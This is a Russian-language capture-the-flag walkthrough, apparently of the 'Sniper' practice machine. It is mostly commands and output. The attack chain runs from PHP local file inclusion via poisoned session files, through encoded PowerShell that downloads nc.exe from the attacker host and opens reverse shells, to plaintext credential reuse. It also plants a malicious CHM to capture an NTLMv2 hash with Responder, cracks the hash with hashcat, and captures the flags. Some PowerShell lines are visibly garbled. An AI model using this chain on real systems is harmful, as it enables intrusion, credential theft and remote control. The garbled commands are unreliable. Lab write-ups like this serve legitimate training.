Обзор сервисов
$ nmapAutomator.sh -H 10.10.10.151 -t Full
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
49667/tcp open unknown
http://10.10.10.151/blog?lang=blog-en.php
=> выглядит как Local File Inclusion
=> ../../
не работает
=> пробуем абсолютный путь /
=> view-source:http://10.10.10.151/blog/?lang=/windows/system32/cmd.exe
Веб
Регистрируем аккаунт http://10.10.10.151/user/registration.php[email protected]
testuser2:Testuser123!
Логинимся
http://10.10.10.151/user/login.php
https://www.rcesecurity.com/2017/08/from-lfi-to-rce-via-php-sessions/
=> смотрим значение PHPSESSID
65snurvpiaagj1cagtegceoisg
curl -X GET http://10.10.10.151/blog/?lang=/windows/temp/sess_65snurvpiaagj1cagtegceoisg
=> мы можем зарегистрировать пользователя
=> скрипт исполняет файл с сессией
=> пробуем найти запрещенные символы
blacklister.py
:
import requests
import string
import random
loginurl = "http://10.10.10.151/user/login.php"
registerurl = "http://10.10.10.151/user/registration.php"
characters = string.punctuation
rand = "A" * random.randint(1,10)
print("Blacklisted Characters: ")
for char in characters:
original = char
char = rand + char
data = {'email':'[email protected]', 'username':char, 'password':char,
'submit':' '}
r = requests.post(url = registerurl, data = data)
data = {'username':char, 'password':char, 'submit':' '}
r = requests.post(url = loginurl, data = data)
if "Username/password is incorrect." in r.text:
print(original)
Reverse Shell 1
$ python3 blacklister.py
Blacklisted Characters:
"
$
&
(
.
;
[
_
$ cp /usr/share/windows-binaries/nc.exe nc.exe
echo "wget http://10.10.14.4/nc.exe -o C:\Windows\TEMP\nc.exe" | iconv -t UTF-16LE | base64 -w 0
=> создаем пользователя с таким именем, получаем его PHPSESSID
:
python3 -m http.server 80
curl -X GET http://10.10.10.151/blog/?lang=/windows/temp/sess_65snurvpiaagj1cagtegceoisg
echo "C:\Windows\TEMP\nc.exe 10.10.14.4 1234 -e cmd.exe" | iconv -t UTF-16LE | base64 -w 0
=> повторяем действие с другой командой:
nc -lvnp 1234
curl -X GET http://10.10.10.151/blog/?lang=/windows/temp/sess_jp194672f59i4gfvf1onqcs17e
Повышение привилегий
C:\inetpub\wwwroot\user>type db.php
type db.php
net user net user User accounts for \\ ------------------------------------------------------------------------------- Administrator Chris DefaultAccount Guest WDAGUtilityAccount
На локальной машине:
nc -lnvp 1236
На удаленной машине:
> powershell
> password = convertto-securestring -AsPlainText -Force -String "36mEAhz/B8xQ~2VM";password=convertto−securestring−AsPlainText−Force−String"36mEAhz/B8xQ 2VM"; credential = new-object -typename System.Management.Automation.PSCredential -argumentlist "SNIPER\\chris",credential=new−object−typenameSystem.Management.Automation.PSCredential−argumentlist"SNIPER
chris",password;
> Invoke-Command -ComputerName LOCALHOST -ScriptBlock { wget http://10.10.14.4/nc.exe -o C:\Users\chris\nc.exe } -credential credential;credential; Invoke-Command -ComputerName LOCALHOST -ScriptBlock { C:\Users\chris\nc.exe -e cmd.exe 10.10.14.4 1236} -credential $credential;
![[Pasted image 20230126143030.png]]
Флаг пользователя
PS C:\\Users\\Chris\\desktop> dir
dir Directory: C:\\Users\\Chris\\desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 4/11/2019 8:15 AM 32 user.txt PS C:\\Users\\Chris\\desktop> type user.txt type user.txt 21f4d0f29fc4dd867500c1ad716cf56e PS C:\\Users\\Chris\\desktop> ipconfig ipconfig Windows IP Configuration Ethernet adapter Ethernet0: Connection-specific DNS Suffix . : IPv6 Address. . . . . . . . . . . : dead:beef::b00f:8c01:ffc7:e460 Link-local IPv6 Address . . . . . : fe80::b00f:8c01:ffc7:e460%4 IPv4 Address. . . . . . . . . . . : 10.10.10.151 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:1a7c%4 10.10.10.2
Атака на клиента
Создаем Instructions.html
<html>
<body>
<img src=\\10.10.14.4\share\abc.png />
</body>
</html>
Идем в windows client html help workshop file -> new -> project
:
Добавляем наш файл в chm:
Компилируем:
Загружаем этот файл на удаленную машину по пути C:/Docs/instructions.chm
.
На локальной машине:
python3 -m http.server 80
На удаленной машине:
wget 10.10.14.4/instructions.chm -o instructions.chm
Запустим на локальной машине Responder:https://github.com/lgandx/Responder
python Responder.py -I tun0
На удаленной машине:
copy instructions.chm C:/docs/instructions.chm
[SMB] NTLMv2-SSP Client : 10.10.10.151
[SMB] NTLMv2-SSP Username : SNIPER\Administrator
[SMB] NTLMv2-SSP Hash : Administrator::SNIPER:a634d8e7432462fc:F825CE18D0F0621677525BE1D9D9F993:010100000000000080C7D2B02374D701576C3E22A260E3A300000000020008005500480041004E0001001E00570049004E002D004600410031005500330041005400460045005A00550004003400570049004E002D004600410031005500330041005400460045005A0055002E005500480041004E002E004C004F00430041004C00030014005500480041004E002E004C004F00430041004C00050014005500480041004E002E004C004F00430041004C000700080080C7D2B02374D701060004000200000008003000300000000000000000000000003000001774B9E78AC91706220246256081AEDC31AB3A0B723146496AB99FB2FF0E36740A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E00310030002E00310034002E003400000000000000000000000000
Брутфорс
Брутим хеш в файле hash.txt
hashcat.exe -O -m 5600 --force hash.txt /usr/share/wordlists/rockyou.txt
=> administrator:butterfly!#1
Reverse Shell 2
На локальной машине:
nc -lnvp 1237
На удаленной машине:
> powershell
> $password = convertto-securestring -AsPlainText -Force -String "butterfly!#1";
> $credential = new-object -typename System.Management.Automation.PSCredential -argumentlist "SNIPER\\Administrator",$password;
> Invoke-Command -ComputerName LOCALHOST -ScriptBlock { C:\\Users\\chris\\nc.exe -e cmd.exe 10.10.14.4 1237} -credential $credential;
Флаг суперпользователя
C:\Users\Administrator\Desktop>dir
Volume in drive C has no label.
Volume Serial Number is 6A2B-2640
Directory of C:\Users\Administrator\Desktop
10/01/2019 08:44 AM <DIR> .
10/01/2019 08:44 AM <DIR> ..
04/11/2019 08:13 AM 32 root.txt
1 File(s) 32 bytes
2 Dir(s) 17,980,538,880 bytes free
C:\Users\Administrator\Desktop>ipconfig
Windows IP Configuration
Ethernet adapter Ethernet0:
Connection-specific DNS Suffix . :
IPv6 Address. . . . . . . . . . . : dead:beef::b00f:8c01:ffc7:e460
Link-local IPv6 Address . . . . . : fe80::b00f:8c01:ffc7:e460%4
IPv4 Address. . . . . . . . . . . : 10.10.10.151
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:1a7c%4
10.10.10.2
C:\Users\Administrator\Desktop>whoami
sniper\administrator
C:\Users\Administrator\Desktop>type root.txt
5624caf363e2750e994f6be0b7436c15